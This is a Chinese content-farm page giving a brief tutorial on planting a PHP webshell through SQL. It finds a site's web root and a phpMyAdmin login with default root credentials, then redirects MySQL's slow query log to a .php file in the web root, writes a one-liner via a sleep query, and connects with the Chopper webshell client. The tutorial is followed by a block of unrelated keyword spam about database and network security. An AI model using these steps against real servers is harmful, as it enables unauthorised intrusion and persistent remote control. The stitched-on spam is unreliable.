千家信息网

如何利用sql语句写入shell

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,如何利用sql语句写入shell,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。目标ip:192.168.52.143一、御剑扫描该地址获
千家信息网最后更新 2025年12月01日如何利用sql语句写入shell

如何利用sql语句写入shell,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

目标ip:192.168.52.143

一、御剑扫描该地址

获取到重要信息:

1、网站的绝对路径

2、phpmyadmin,并且是默认账号密码:root

解决方法:

1、设置slow_query_log=1 启用慢查询日志。

2、修改slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='c:/phpstudy/www/xx.php'

3、向日志文件写入一句话

select '' or sleep(11)

三、用菜刀链接

看完上述内容,你们掌握如何利用sql语句写入shell的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

文件 方法 日志 语句 内容 更多 路径 问题 重要 束手无策 为此 一句话 信息 原因 密码 对此 技能 文件名 目标 篇文章 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 程大软件开发 2020网络安全条例 服务器 登录 昆士兰大学网络安全课程 医院管理软件开发资质 怎么创建域服务器 高青中小企业oa软件开发公司 软件开发行业人才衡量标准 安徽电视台网络安全知识竞赛 网络安全从业者证 浪潮服务器管理ip怎么配 笑鹿网络技术有限公司 信阳网络安全攻防对抗赛 广州系统软件开发哪家便宜 陕西公安厅网络安全宣传中心 网络安全研究院是什么单位 it软件开发试题 网络技术影响用户 信息网络安全教学大纲 思讯数据库连接不可用或不存在 网络安全为人民知识竞赛 网络安全绿色阅读文明上网手抄报 印度网络安全怎么样 暗黑2重制版 台湾服务器 山东电脑软件开发收费报价表 谷歌服务器管理 浅析车载网络技术的应用 简历大专计算机网络技术个人技能 手机打游戏提示无法连接服务器 石家庄中领网络技术有限公司
0